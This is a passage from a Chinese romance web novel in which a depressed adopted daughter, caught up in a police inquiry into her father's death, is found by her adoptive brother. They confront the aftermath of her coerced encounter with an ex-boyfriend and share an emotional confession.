路上也联系佟律师确认宣城那边是否申请过跨省办案,他虽是陆氏集团的律师,但在法律圈里颇有名望,从刑侦系统里打听消息也比陆氏集团出面更方便。
还有一层原因是,陆礼不愿这件事被太多人知晓。
一旦陆氏出面,势必会泄露消息。
他不希望妹妹被外界的恶意再次伤害。
*
时憬从混乱的梦境中清醒。
她知道自己睡了很久,但身体的疲惫感丝毫没有减轻,她睁眼看着发黄的墙壁,直到感受到胃里的钝痛。
身体在提醒她需要进食。
她佝偻着背坐起来,摸到枕边的手机。
手机屏幕显示电量充满,但屏幕仍暗着,长摁开机键,手机才亮起来。
她坐着等了会儿,手机里没有任**息跳入,安静的像是无人注意到她的离开。
如果……
如果她真的离开……
要过多久爸爸妈妈哥哥他们才会发现呢?
消极一念闪过,她没有像从前那样畏惧的去扼杀它,甚至已经能麻木的直视这个念头。
擅自停药后,她被强行从玻璃罩中脱离出来,那些情绪汹涌狰狞的扑上来。
她却毫无反抗之力。
只能任由那些失控的情绪像恶龙一样缠绕着自己。
不知何时就会窒息。
这种感觉很不好。
她想,明天或许要去一趟医院,她要有力气继续留在宣城,等妈妈的一个公正。
她带着手机,拿上房卡出门。
外面华灯初上。
酒店后面就是一片大排档,此时已近凌晨,但依旧嘈杂热闹。
刚才出门时,她才意识到自己居然睡了一天一夜,难怪胃疼成这样,难怪四肢如此无力,难怪眼前开始阵阵发黑,怕自己晕倒,从前台拿了两颗糖含在口中。
宣城饮食清淡,也偏甜口。
但这一片外来人口居多,大排档里都是煎炸烧烤类,空气中弥漫着油腻味,最终她停在一个馄饨摊前,要了碗打包的小馄饨。
店主将小馄饨下锅。
薄皮小馄饨下水后迅速浮了起来。
或许是时憬脸上血色太差,店主问她是不是身体不舒服,是的话不远处就有医院,晚上有急诊的。
饥饿与麻木,让她慢了两拍才听清楚这句话。
她摇头,“是饿的,没事。”
昏暗的灯光照着她发白的脸、发白的唇,眼神有些呆滞,憔悴的让人心惊,仿若一朵娇弱的快凋零的花束。
店主快速打包,递给她。
时憬接过,转身离开。
店主愣了下,摘下口罩大声叫住她:“唉!美女!付钱啊!”
时憬才反应过来,连忙说了声不好意思,拿手机点开微信扫码,手机却迟迟没有跳转,她退出,重新进入,看见屏幕上跳着一行红色提示,当前无网络。
时憬呆了下。
停机了?
店主看她迟迟没有付款的动作,“美女,怎么了”
时憬挤出一个尴尬的笑,“不好意思,手机停机了。我就住前面的酒店,等我回去联网充话费后,就过来给你付钱,可以么?”
店主嘴唇动了下,表情微妙。
时憬:“或者您开个热点给我,我——”
店
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主摆手,一脸认栽:“去吧,我等你。”好好一个小姑娘,连一碗馄饨钱都付不出来,算了,就当他日行一善。
时憬感激的说了声谢。
拎着馄饨回酒店。
她走得很快。
拐个弯,走到通往酒店的树荫道路。
旁边的马路上车水马龙,人行道上行人三三俩俩,树影随着夏季燥热的晚风摇曳,在地上晃动。
恍惚间,她好像听见有人在叫她。
时憬。
是熟悉的声音。
从记忆力鲜明的跳跃出来。
她却不敢循着声音去找。
无疑又是一次幻觉。
无疑又要失望。
无疑又要孤独侵袭。
她停下急匆匆的脚步,安静的站在原地。
单薄的背影几乎要被黑暗吞噬。
身后有脚步声靠近,竟也是熟悉的。
她抿着唇,塑料袋里汤水坠着,勒疼手指,提醒着她所见所闻都是幻觉,告诫自己不要回头,现在的她脆弱到已经无法承受那一瞬的痛楚。
时憬终于抬脚。
想从幻觉中逃离。
在抬脚继续往前时,胳膊被一只手掌从后猛地拽住,力气大的将她扯过身去。
昏暗路灯、刺眼远光灯,从她眼中流转划过。
下一瞬,她就被按进一个炙热、汗涔涔的怀抱。
高热而结实的胸膛抵着她的脸颊。
她听见男人急促粗重的呼吸声,还听见胸膛下剧烈的心跳声。
按在后背、腰间的臂膀像将她的腰背折断般用力。
体温。
呼吸。
力度。
都在清晰的告诉时憬,这不是幻觉。
她的手指动了下,想要抬起手。
想要触碰真实的陆礼。
这一幕,落入站在马路对面的楼心月眼中。
她脸上笑意全无,阴沉的表情让美丽的五官略显狰狞。
她从陆母口中知道时憬可能住在这家酒店,而陆礼也会从沙市赶来,所以她掐着时间在酒店外等着,却没想到——
竟然看到这幕。
她亲眼看到陆礼是如此疾步追上他的妹妹,又是如何用力的拉住他的妹妹,又是如何把他的妹妹拥入怀中。
第90章 她平安就好
哪一对兄妹会这样拥抱?
这样勾引哥哥的妹妹就不该存在。
本来时憬就不是陆家亲生的女儿,她只不过是个被捡回去的宠物,却用这种故作柔弱的手段勾引陆礼,还假装消失吊着陆礼,彻头彻尾就是一个工于心计的**。
一个**犯的母亲,身上背着两条人命,再加一个**成瘾的父亲,听说她自己还有抑郁症,这样身世肮脏的**,就不应该继续留在陆家,继续留在陆礼身边。
楼心月眼底沁着厌恶至极的冷。
注视着两人相拥的身影,拨出电话:“喂,是我。”
*
时憬抬起手,在手指触碰到陆礼之前,紧拥着她的兄长忽然把她从怀里拉出。
滚烫的掌心握住她纤瘦的胳膊。
低头看她,眉弓投下一片暗影,眼底神色森冷。
“为什么手机关机不接电话?”
时憬不敢看他,快要冲出胸膛的情愫,在他的声音响起时,狼狈的缩了回去,手指垂下。
“为什么一个人来宣城?”
她抿着唇苍白的唇。
“你父亲的事——”
这一句话还未完全说出口,陆礼看见她低着头,从他的视角,只能看见水滴从她的脸颊落下。
足以让他咽下所有训斥的话。
包括这一路来因担心而生出的愤怒。
也在看见她的瞬间,一拥而散。
她平安就好。
陆礼微不可查的叹息,松开握住她肩膀的手,指腹触碰上她的脸颊,拭去她的眼泪,像从前每一次一样的温柔。
“这两天你就住在前面那家酒店里?”
时憬安静的站着。
任由兄长抬起她的脸,擦去她脸上的泪痕。
她挤压喉咙,回了一声。
陆礼从她手里拿过打包的塑料袋,另一只手圈住她的手腕,拉着她朝不远处的酒店走去。
时憬落后一步,跟在兄长身后。
抬起眼睑,看着他一身衬衣西裤的着装,看着他后背被汗水洇湿的衬衣,胸口酸胀而温热。
这一刻,她又像是陷入幻觉。
他真的来了。
可他,这一次不应该来的啊…
陆礼带着妹妹进酒店。
他一身着装与连锁酒店格格不入,人高腿长气势足,很是显眼,再加上身后还拉着一个女孩儿,前台想不注意到都困难,出声叫住陆礼过来补办入住信息。
等上楼进房间后,陆礼扫了眼环境,微微皱眉。
虽然这是家连锁酒店,但环境实在一般。
气味也不算好闻。
他抽了两张纸仔细擦过桌椅,才把手里的馄饨放下,解开塑料袋,打开盖子,“先吃,吃完再说。”
照顾妹妹的习惯早已刻入骨髓。
看时憬坐下开始吃东西,他在床尾坐下,重新定酒店。
正好佟律师已将打听到的消息发来。
他一边看,一边留意时憬的进食速度。
等她慢吞吞吃完后,他收起手机,起身道:“收拾东西,换一家酒店住。”
时憬低声说:“这儿离大队近。”
一碗热气腾腾的小馄饨下肚后,胃疼缓解,唇上也有了淡粉的颜色。
她还坐着,看着不肯换地方住。
陆礼直接动手替她收拾东西,“重新定的酒店离得也不远,这几天我都会留在宣城。”他神色如常的说完后,看向妹妹投来愣怔的眼神,语气温和了些,“你就带了这些东西,没别的了?”
时憬看着他手里的包。
喉咙像被棉花堵住。
点了下头。
退房后,时憬忽然叫住陆礼。
陆礼耐着性子问她,“怎么了?”
时憬抬手指了下酒店后面的大排档区,“刚才我下楼买了碗馄饨,手机欠费停机还没付钱,答应了老板要给钱的。”
陆礼:“你手机不是关机了吗?”
时憬:“充电后忘记开机了。”
陆礼:“一天都没开机?”
时憬:“……嗯,睡着了。”
陆礼皱眉,张口想要训两句,但看着她低着头乖乖站着的样子,难听的话咽了下去,反问了句,“时憬,你几岁了?”说完后也不用她回答,让她带路,给她去付馄饨钱。
在沙市呼风唤雨的陆氏集团总裁,也得去大排档给妹妹买单付钱。
新定的酒店离刑警大队有些距离
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。
陆礼叫了车过去。
定的是间高级双床房。
房间里充盈着干净好闻的清香,灯光明亮、房间宽敞、家具低调讲究。
陆礼放下她的包,“旁边有间商场,要一起去吗?”
时憬摇头拒绝。
陆礼也不勉强她,“手机开着吗?”
她嗯了声。
陆礼:“等会儿爸妈应该会给你打电话,”他语气顿了下,“宣城这儿的事情我和他们说过了。”
时憬哪怕已经猜到。
但当这个事实从陆礼口中说出时,她仍惊慌的抬头,语气急切的解释:“我妈妈不是凶手——她不会做那样的事情——警察还在查——”
“时憬。”他语气沉稳的打断她的话,冷静的安抚她混乱急躁的情绪,“在查清真相之前,没有人可以说宋阿姨就是凶手,冷静下来,嗯?”
他的眼神强而有力,压下她激进的情绪。
时憬耸起的肩膀沉下。
“……对不起。”
她垂下眼睑,低声道歉。
这样神情低落的妹妹,看的陆礼胸口微痛,从什么时候开始,妹妹已经不会再弯着眼冲着他笑,也不会再愉悦的叽叽喳喳说话,她变得沉默、消瘦,只会垂眸低头说话。
他甚至怀疑自己推开妹妹是否正确。
陆礼眸色微黯,轻揉了下妹妹的头,“我出去一趟,很快回来。”
房门轻轻关上。
在出门前,兄长甚至还调了空调面板上的温度。
可能是房间里的冷气温度被调高后,也可能是陆礼出现后,萦绕着她的冷意消失了,她不再冷的发抖,抱着胳膊,她甚至还能想起来兄长炙热、汗涔涔的怀抱,那些嘈杂的声音也随之消失。
耳边是兄长温和的声音,手腕上残留在温热的触感。
她伸手紧紧抓住。
像是溺水之人,抓住了浮木。
不择手段也要攀住,然后活下去。
哪怕知道她不该放纵自己,但他一次次的温柔,一次次的出现在自己面前,她如何能控制的住自己的心,怎能不沉沦。
哪怕最后会坠入地狱。
她也心甘情愿的往下跳。
第91章 红痕
沉寂了两天一夜的手机在复机后,嗡嗡的不停震动。
短信、微信像疯了一样往上跳未读信息数。
时憬捧着手机,震得手都麻了。
几分钟后,屏幕跳入陆母的视频请求。
时憬迟疑了下才接通。
她还未看清屏幕里陆母陆父的脸,就听见训斥声劈头盖脸砸过来,“你这个孩子!一个人跑去宣城不说,什么事也都不和大人讲,你知不知道我们会担心?电话不接、手机关机,你哪怕发个信息来说一声,我和你爸也不至于担心得晚上都不敢睡!”
陆母的训斥声一句句砸过来,沉甸甸地压在时憬的背上、架在身边,挡住那些涌来吞噬她的黑影,成了一个逼仄却寂静的避风港。
“对不起…爸爸妈妈…”
“让你们担心了……”
“对不起…”
她垂着眼,也不敢看屏幕中陆父陆母着急又生气的模样。
只是一味低着头道歉。
陆父也道:“不止我和你妈妈担心,你哥哥从下午到家后就没停过找你,从心月那边知道你去了宣城后,就坐最近一班飞机过去。”他的语气不算严厉,甚至算得上是心平气和地同她讲道理,“我们也知道,有些事情你不想让我们知道,但你手机关机不接电话,你让我们怎么会不着急?小憬,我们尊重你的心意,希望你也能考虑到我们关心你的心情。”
她从未奢望过父爱。
更不知父爱是什么样的形状。
当陆父的话落入她耳中时,她控制不住地哭出声来,心中又痛又热,通通化成眼泪。
消瘦的肩头哭得颤抖。
她没有顶嘴反驳,听话地挨着训,哭了后也低着头小声的哭,这让雷厉风行的陆父立刻心软,但又不知道怎么安慰女儿,连忙求助地看向妻子。
陆母听着女儿哭成这样,心里也不好受,怒气也消了大半,“好了,别哭了,再哭你爸爸就该心疼了,自己知道错哪儿了,下次改正就行。”
时憬抬手擦眼泪。
陆母:“还有,你和费兰的事,我们也都知道了。”
……
“陆礼,救救我……”
“陆礼是不是你那个哥哥?你居然和自己的哥哥上过床?现在他不要你了,就拿我当代替品是吗?!”
……
时憬动作僵住。
脸上瞬间血色全无。
她仓皇不安地抬头看着屏幕中陆母的脸,“他…怎么说的……”
“费兰给我打了个电话,说你们闹了不愉快,已经分手了。”陆母看着女儿不安的表情,只当是自己给她太大的压力,忍不住道:“妈妈没有强迫你必须要和费兰交朋友,的确,费兰是个好孩子,但你也是我们陆家的女儿,难不成你和费兰分了我们就不认你了?等宣城的事情处理完就赶紧回家,知不知道?”
时憬怔然。
费兰没有把那晚发生的事告诉爸爸妈妈?
陆父跟着说:“你哥这几天都会在宣城,有事情就和她说,别自己一个人扛着。”
“我记住了,谢谢……爸爸妈妈。”
接着又叮嘱几句后才挂了电话。
他们真的做到了像陆父所说的‘尊重她的心意’,没有询问任何关于时父的事情。
挂了电话后,时憬仍在落泪。
泪腺像失了控。
痛苦和愧疚在心底野蛮疯长,拉扯着想要堕入地狱的少女,一颗心被撕裂成两半,而煎熬的都是这具躯体。
陆礼提了几个袋子回来,进门就看见妹妹低着头坐在床边,不用看就知道又在掉眼泪。
他抽了两张纸巾靠近,“爸妈打过电话了?”
妹妹小幅度点头。
他蹲下身,柔软的纸巾擦去她脸上的湿漉,语气温和地问:“哭成这样,被妈妈训了?”
妹妹摇头。
兄长微挑眉,“没有?那我打电话让他们补上。”
妹妹抽泣的动作停了下来,终于抬起头来,眼神有些不敢置信地盯着他,眼角红通通的,柔软的唇张合了下,试探着吐出一个音节。
“…哥?”
妹妹的表情终于生动起来,不再一味地低头落泪。
陆礼揉了下她的头,站起身来,“骗你的。我买了换洗衣物,洗漱用品回来,你看看有什么缺的。”
时憬嗯了声,走到桌边翻袋子。
一袋是
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男士用品,她没有碰。
剩下几袋里都是女士用品,有替换的短袖、裤子、连衣裙、内衣,都是时憬穿的尺码。袜子、内裤这些都是一次性的。洗面奶、化妆水之类的洗护用品样样齐全,多是时憬用过的牌子。
兄长总是无微不至地照顾着她。
她轻声回:“没有缺的。”
陆礼:“时憬,你的药吃完了?
她捏着塑料袋的手收紧,“嗯…这次出来没带够天数。”
陆礼嗯了声,并且责怪她粗心大意,“你先去洗澡,我来联系天川。拿着贴身衣服去洗澡,等会儿出来先穿酒店里的浴袍,这些衣物洗过后才能穿。”
“…好。”
时憬拿着衣服、洗护用品进卫生间。
热气蒸腾。
淋浴间里弥漫着洗发露的柑橘香气。
夏天天热,她两天没有好好清理自己,刚才在外面陆礼抱她的时候,肯定觉得气味不好闻。
清洗时,发现腰间、胸脯、胳膊、锁骨处的红痕还未完全消退,那场不愉快性事的记忆开始不断在脑中闪现,她用力地搓洗皮肤,直到发红发烫后才停下。
时憬仔细穿好浴袍,还在镜中确认挡住锁骨处的痕迹。
确认完后,她忽然笑了声。
陆礼……
已经不会在意这些了吧。
走出浴室,房间里无人。
时憬踩着软底的拖鞋走到茶几前,看见桌上放着一瓶橙汁,她在对面的沙发坐下,拧开盖子,一小口一小口喝完它。
现榨橙汁微酸、微苦。
她第一次喝鲜榨橙汁也是陆礼买的。
那天她帮完忙,肚子不小心叫了出声,陆礼就说带她去吃午饭,选了家颇为高档的西餐厅。
时憬从未经过这种店。
她穿着洗得发白的裙子,有些局促不安地紧跟着陆礼,坐下后,菜单上的价格更是吓到了她,后来是陆礼替她点了一份意面、一杯橙汁。
橙汁先送上来。
她以为是同民宿早餐里冲兑的橙汁味道是一样的甜,双手捧着玻璃杯喝了一大口,酸和苦味猝不及防地在口中炸开,她皱着眉鼓着脸颊,酸得眼眶都红了。
第92章 他强迫了你?
不能吐出来,太丢人了。
必须要喝完,这杯橙汁那么贵的。
她梗着脖子用力咽下去。
然后听见对面传来一道极低的轻笑声。
她抬头,看见冷冰冰的陆礼哥哥笑了,冰冷的眉眼融化,不再那么高冷的难以靠近,时憬也听见了自己加速的心跳声。
陆礼告诉她,喝不惯不用勉强喝完。
时憬不知道自己怎么了,脸颊突然变得滚烫。
她连忙低下头,摇头道:“不、不,不是的,好、好喝的。”像是为了证明这句话,她又捧起来喝了一口,口中仍有酸和苦味,但咽下去后,竟然变成了满口清甜。
后来,她才知道,原来这种感觉就是心动。
又酸又苦后,都是甜。
她偷偷喜欢上了一个离自己的很遥远的男生,她以为这是一场注定没有结果的暗恋。
之后发生的事情,时憬没有勇气去回想。
她视线重新落回手中的橙汁。
可能是那天她喝完了一整杯橙汁,陆礼就觉得她喜欢喝橙汁,再后来跟着陆礼回到陆家,他也常会端一杯鲜榨橙汁给她喝,他将这些微不足道的事情都记在心里。
她也沉溺在这些照顾中。
就像是温水煮青蛙般。
连跳出去的力气都丧失了。
等她喝完橙汁,收起关于这些关于过去的记忆。
为了转移注意力,她打开电视,凌晨的电视台都是枯燥的深夜节目,她转了一圈频道后,看着宣城的台标,想起一件事。
妈妈说,她来宣城的事情是楼心月告诉陆礼的。
视频时她被其他情绪占据理智,完全没有去想为什么楼心月会知道,据她所知楼家在宣城并不是只手遮天的存在,她是怎么知道自己在宣城?
……
“厂房上周刚封顶了,开始重整外围规划,预埋充电车位的电缆时,从地下翻出些人骨——”
“而我们是在哪儿发现的他?是从地下挖出来!他被人杀害,至少被埋在地下九年以上!”
……
楼心月的声音与警官的重叠。
时憬睁大眼睛,从厂房地下翻出的人骨就是她父亲的?
所以楼心月才会知道她被警方传唤到了宣城。
另一个念头快速闪过。
时憬颤抖着打开手机,进入地图软件,按着记忆找到妈妈发生车祸的地点,在找到民宿、厂区的位置,她看着三个地点之间的距离,从民宿到厂区有近两个小时的车程,从厂区到车祸地点也有半个小时车程。
妈妈开车出门不是送床单被褥去镇上清洗,就是去镇上接不认识的客人,妈妈很少很少开车离开杭县,又怎么可能知道厂区那边有一大片的荒地?
时憬心中腾起强烈的确信感。
妈妈绝对、绝对不可能是杀害父亲的凶手!
挖坑埋尸都是体力活,但妈妈手上并没有握持铁锹或相似工具留下的痕迹!
她记得清清楚楚!
她能保护妈妈,而不是只能无用地躲在房间里哭!
就在这时,门开了。
时憬迫不及待的要和陆礼分享这个消息,她从沙发上跳下来,甚至连鞋子都来不及穿上,赤着脚踩在地毯上飞快冲到门口,力气大得像是要扑入他怀里,两手抓着他的衬衣,抬头,眼眸明亮地看他:“我们明天一早就去刑警大队,找那个警官说明白!我妈妈不是凶手!我想起来了!她手上没有挖坑留下的痕迹,而且妈妈一心都在民宿上,连杭县都很少会离开,她怎么可能会知道两个车程外有一片荒地?我父亲的死和我妈妈没有关系!”
她激动的一口气说完。
胸脯剧烈的起伏。
脸颊上因短时间不停的说话微微发红。
现在的时憬明显处于情绪极度亢奋阶段,与刚才低落沉默的状态反差极大。陆礼神情温和地颔首应下,“好,明天我们一早就去。”
他过于冷静的态度,让时憬也平静下来。
两人的距离过近。
时憬看着自己抓着兄长胸口衬衣的手,立刻松开。
“对不起。”
她低声道歉。
陆礼还未推开妹妹,就看见她退开半步,拉开两人的距离。兄长眼色微沉,他想起了晚上在路边时,妹妹也没有回抱,她已经开始和他保持距
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离了么。
沉稳的兄长垂下视线,想对妹妹说没关系。
刚要收回的目光顿了下,停在她浴袍交叠的衣襟处,眼底涌起暗色,伸手拉开确认——
时憬的脸瞬间白了。
她下意识躲开,用手想摁住浴袍。
阻挡的手被兄长扣住拉开,拉扯间,衣襟被扯开,露出身上更多刺眼的痕迹。
兄长脸色阴沉,另一只手直接扯开系带,浴袍敞开,从肩头滑落,随着衣物坠落,锁骨、胸口、腰侧蔓延往下的红痕完完全全暴露在陆礼的眼中。
时憬肌肤偏白,稍稍用力就会留下痕迹。
红痕堆积在腰侧,中心发紫,触目惊心。
时憬难堪的只能用一只手掩住胸口,试图从他手中夺回另一只手,想要穿好浴袍挡住这些痕迹,可他不松手,温热的指腹轻轻落在腰侧,带着小心翼翼的力度。
“不要看…啊。”她想要躲开,耳边都是轰隆隆的耳鸣声,恨不得想要躲起来,她胡乱的解释着,“我、我和费兰…交往,正常都会发生关系……”
那些不堪的画面,强制的力度、亲吻,还有她不可告人的幻觉,通通都涌了出来,她拼命想要挡住身体,怕他会看见,怕他会知道,怕他会觉得……恶心……
落下腰侧的指腹离开。
微凉的肩头重新罩上衣物。
她来不及松一口气,就听见兄长的声音在面前响起。
“费兰他强迫了你?”
“没有!”
她垂下手,手指发冷,试了两次才系好带子。
她否认得这么快,眼睛也不敢看他。
妹妹又在撒谎。
陆礼有多熟悉妹妹的身体,也知道她动情时会是什么模样,她会像小猫一样的迎合,能在腰侧留下这么重痕迹的情事,绝非是在她动情时发生的。
他眼神析出寒意,“时憬——”
他还未说完,妹妹应激般张口就否认,“没有!”
陆礼双手温柔捧住她的脸,微低下头,他藏起眼底的戾气,语气与目光都像是一位担心妹妹受欺负的兄长,“看着我的眼睛,他有没有伤害你,告诉我。”
第93章 陆礼,你为什么要来
时憬不愿再被追问。
更害怕被陆礼知道那晚发生的事情,她强迫自己直视兄长,语气几近哀求,“没有…我不想再说这件事了。”她抬起手,想要拉开触碰自己脸颊的手掌。
当手掌离开后,她听见陆礼的声音再一次响起,语气冷静到像是问她要不要喝果汁一般,“你还在袒护他?”
袒护?
他是知道了什么吗……?
时憬的眼神不再闪避,直直看向眼前的兄长,眼瞳晃颤,“费兰和你说…了什么?”
陆礼克制着翻涌的怒火。
妹妹身上刺目的伤痕让他无法彻底冷静下来,这是他捧在手掌长大的妹妹,他竟会头脑发热,轻信一个从国外回来语言、文化都不共通的男人,就这么把妹妹推了出去?
那一晚被费兰强制压在身下的时候,时憬有多绝望,才会说出‘救救我’这三字。
愤怒灼烧着他的心脏。
伤害妹妹的凶手不止费兰,还有他。
陆礼的沉默像是无情的利剑,砍断了她最后的尊严,赤裸裸的、狼狈不堪地暴露在兄长的面前。
她的眼睫颤抖了下,氤氲在眼中的眼泪滑落,淌过苍白的脸颊。
“他都说了…?说我明明答应他了,可到最后我不止后悔退缩了,还在床上叫了你的名字——”
她声音轻得微不可闻,每一个字都在战栗,眼眶鲜红得快要流出血泪。
这样的时憬让陆礼心疼。
陆礼:“时憬。”
他想要打断她。
时憬:“不,他说的还不够多。我再告诉你,每一次费兰的拥抱、轻吻,我都把他当成你——”
这样的自白,像是她亲手把自己剥开。
陆礼不忍继续听下去:“不要说了。”
“还有…你不知道,我答应费兰和他交往,是因为你一直不回来,我怕你再也不理我了,我想只要我听你的话离开你,你就会回来了……然后……你真的回来了……”
陆礼看着这样的时憬,生出陌生的情绪,似是手足无措,他第一次不知该如何安抚她,如何让她不要再这样伤害自己。
她还在说:“我也想让自己真的接受费兰,但我发现自己根本做不到。最后他碰我的时候,你知道我说的是什么吗?”
“时憬,够了!”
他低吼出声,双手握住她肩膀,却不敢用力,怕会让她疼痛。
她睁着眼睛,无声落泪。
“是陆礼,救救我……”
“够了!”
他胳膊用力,将她拉入怀中用力地抱紧,双手压在她的后背,“不要说了,时憬。”
“是我自私地利用了费兰,最后还伤害了他……是我——”
“不要说了!”
低哑的声音打断了她的话,他的唇贴在她的发顶,他的身体罩住瘦弱的妹妹,他的手护住浑身伤痕累累的妹妹,“对不起,不要再说了,好么。”
不要再这样伤害自己了。
他会心疼。
他会愤怒。
是他的愚蠢伤害到了无辜的妹妹。
她还年轻,涉世未深,一直被他仔细地保护着,单纯而善良,他应该慢慢教她的,而不是迫不及待地就推开妹妹,甚至强迫她去接受那些男人。
时憬任由兄长用力地抱着自己,微烫的体温贴着她,温暖着她冰冷的身躯。她眼底绝望、悲伤在缓缓褪去,身体似乎快要承受不住如此强烈的情绪,她的语气波澜不惊,平静地诉说着事实。
“我已经很努力听你的话,试着去爱别人,不依赖你,不阻拦你爱上别人,甚至接受你将来会和任何一个女人结婚……”
“我只想不被人知道地继续爱你……”
“我都快做到了啊……”
她缓缓眨了下眼睛,吐出最后几句话,“为什么你又要来?陆礼,你为什么要来……”
是他错了。
大错特错。
怀中拥抱的身体瘦得像是用力就能折断。
伤痕累累的妹妹,甚至都不再依赖他。
甚至还说出这样的话。
兄长扶着她的肩膀,将她
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从怀中拉出,低下头,用指腹温柔地擦去她的眼泪,目光落在她脸上,几乎要将她的模样刻入脑中。
他清晰地知道自己将要做什么,说什么。
理智在试图阻止他,一遍遍告诉他不能继续越界。
但何为界限?
他希望的,是妹妹健康、自由、幸福的生活。
而不是郁郁寡欢、整日以泪洗面。
是他着急了。
是他错了。
兄长温柔地开口,“不哭了。”他用熟悉的口吻哄着爱哭的妹妹,替她擦去眼泪,替她梳理黏在脸上的动作,认真得像是在进行一项极为重要的工作。
眉弓下深邃的瞳孔里,只容得下眼前时憬一人。
她掀起眼睑,在他的眼中看到自己。
她怔怔地看着。
鼻腔涌起酸涩,像是疲惫至极的人迈出最后一步。
她知道前面是深渊,知道这一步后,未来的自己会备受煎熬,但眼前温柔、纵容看着自己的男人是她第一次喜欢上哥哥,是将她带出地狱的兄长,是毫不留情将她推开过的陆礼——
她还是忍不住贪恋这一刻。
如果放纵自私都是罪孽,她甘愿承受。
她抓住兄长的衬衣,踮起脚,垂下眼睑,吻上去。
她闭着眼没有看见,是兄长先一步垂首,先吻上她的双唇。
不含情欲的吻。
是稳重的兄长一如既往安抚她时克制的温柔。
时憬尝到了橙汁的酸、苦。
唯独没有一丝甜。
最终,陆礼也没有等来妹妹回应他的拥抱。
他去附近药店买活血化瘀的药膏,回来后妹妹双手接过,客客气气地说了声谢谢,自己进了卫生间涂抹,出来后,也客客气气地和他说晚安。
背对着他躺下。
陆礼望着隆起的被子,回了声‘晚安’。
明明以前的时憬绝不会放过这样向他撒娇的机会,哪怕他想要继续温柔地纵容她,可妹妹已经不再像以前那样依赖他了。
而他,却不适应了。
第94章 妹妹笨拙的可爱
陆礼定的是双床房。
等他从卫生间洗漱出来后,又出去了趟,将洗好烘干的衣服取回来,分门别类叠好放在开放式衣柜中,整理妹妹的衣物早已成了习惯。
忙完后,看了眼时憬半张脸埋在松软的被子里,睡着后她的呼吸声平稳绵长,他才关了时憬那一侧的灯,仅留下他这边的床头射灯。
这次他来宣城匆忙,没有带电脑。
目测要在这儿停留三天以上,他一边安排助理把笔记本快递过来,一边用手机回复工作邮件,取消之后所有的会议、出差安排。
忙到凌晨四点才结束。
他揉了下酸胀的眼眶,躺下睡觉。
*
第二天,时憬一早醒来。
她睁眼看着陌生的酒店环境,发现不是墙壁发黄连锁酒店,大脑迟钝了片刻后才想起昨晚发生的所有事情。
从陆礼突然出现在她眼前,到她背对着他睡下为止。
记忆支离破碎地在脑中闪现,拼凑起来混乱的回忆。
她看见自己说了很多话,看见陆礼发现了她身上的痕迹,看见他们拥抱,看见他们接吻……
丰沛的情绪都被压在初醒的混沌中。
她想起另一件重要的事情。
要尽快去刑警大队,把有关于妈妈的情况要告诉那两位警官。
时憬起床,看见睡在另一张床上的陆礼时,还是呆了瞬,胸口变得酸胀。
她甩了下头,赶走那些情绪。
轻手轻脚地进卫生间洗漱。
哪怕她已经尽量放轻动作,但陆礼一向浅眠,一点动静就能吵醒他,再加上昨晚睡在酒店,他记着妹妹已经停药了,担心她的状态,睡得也不深,一个关门声就足以让他醒来。
他顺着声音看去。
卫生间是透明的**玻璃。
他看见妹妹动作极为小心地洗漱,等忙完后,拉开门,蹑手蹑脚地走出来,有些笨拙的可爱。
他半靠在床头,目光温柔地看着,他已经许久没有看到这样可爱的妹妹了。
直到时憬慢半拍地发现另一张床上的陆礼已经醒了,两人视线撞上。
陆礼醒来时嗓音有些沙哑,“早。”
语气温柔。
清冷的眉眼像是揉碎了春光般,目光爱怜地看着她。
时憬眼神恍惚了下,脸上才挤出了浅浅的笑,“哥,早上好。”
等两人洗漱、换好衣服,一起下楼吃了早餐。
时憬打算去刑警大队,陆礼说了声稍等,去前台拿了把送来的车钥匙。
他让助理在宣城租了辆车,方便出行,黄林考虑老板的偏好,租的仍是迈巴赫。
甚至连颜色也是黑色。
时憬上车前,还特意看了眼车牌,仿佛在确认这辆车是不是沙市那辆。
陆礼的注意力大部分都在妹妹身上。
看她歪头看车牌的样子,脸上一闪而过的迷茫,随即又自己了然地点头。
这些表情流露得如此自然生动。
没了昨晚的麻木绝望。
他唇角勾了下,上车后解释了声这车是助理租的。
时憬哦了声,“我还以为是黄助买的。”
陆礼眼底的笑意扩散,“黄林再厉害,也搞不定一晚上买车上牌的流程。”
时憬眨眼,“钞能力也不行?”
陆礼忍不住揉了下妹妹的头,“不行。”
他收回手后设置导航,专心开车。
时憬却因刚才那一个动作愣了许久的神,她垂着眼,眼底并无太多雀跃。
他们到刑警大队是早上八点。
时憬刚下车,正巧碰到了从外面提溜着油条包子往里头的年轻警官,刚好是前两天的那位。
小胡警官打着哈欠,迷瞪着眼睛。
前两天他去杭县收集证据,跑了不少地方,累得人都麻了。昨晚刚回大队里,就被师父揪着整理档案,忙到凌晨才搞定,这会儿早上又被师父支使出来买早饭——虽然师父给了钱。
但他困啊。
给张床一秒倒头就能睡得困!
刚走到大队门口,眼睛被黑色迈巴赫吸引去,接着看见从车上下来的年轻女人。
就他手上案子被害人女儿。
时憬。
是沙市陆氏集团的养女。
有钱人。
不是一般有钱的那种。
他快走几步上去,语气还算热情,“时小姐?一大早你怎么来大队了,是不是有什么事啊?”<
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br>时憬说有些事情想要补充,不知道方不方便。
小胡一口应下,“方便,我带你进去,正好师父昨晚睡在大队里没回去。”说着抬脚就要带时憬进去,见她没立刻跟着,转头催促了声,他又看见从车上下来的男人。
尽管是普通的白色短袖长裤打扮,也掩盖不住上位者的气势。
他试探性问:“这位是……?”
时憬想介绍。
陆礼先一步伸出手,“陆礼。”
小胡掩住自己眼底惊愕,陆礼?这不就是陆氏集团现在的总裁?他连忙把手在警裤上蹭了下才敢伸出手,怕沾上了早饭的油腻人家介意都不愿和他握手,“陆总,您好!我是宣城刑警大队的,您叫我小胡就行。”
“你好,小胡。今天我陪时憬开的。”陆礼眉眼英俊,语气疏离但仍客气。
没有一丁点著名企业家的架子。
小胡带着两人进去,客客气气地请他在走廊里稍等,说交代情况是不允许第三人在场,再带着时憬进了间空房间,布置与那天的大同小异。
老蒋收到徒弟的消息后,打着哈欠从楼下下来。
经过走廊时,就看见徒弟口中‘巨帅巨有气势的’男人,年纪不大,坐姿得体,面色沉稳,不见他那个年纪常有的浮躁傲慢。眼神无意撞上时,老蒋颔首算是客气打了个招呼。
看来陆家还挺重视这个养女。
连陆礼都跟过来了。
老蒋推门进房间,看着站起身的小姑娘,她今天神情转变了不少,简单短袖牛仔裤的打扮,愈发显得人瘦,但好歹不再是那天一副天塌地陷的绝望麻木。
估计是家里来人,心里有底了。
老蒋脸色和善,笑呵呵抬手:“坐,先坐下说。”
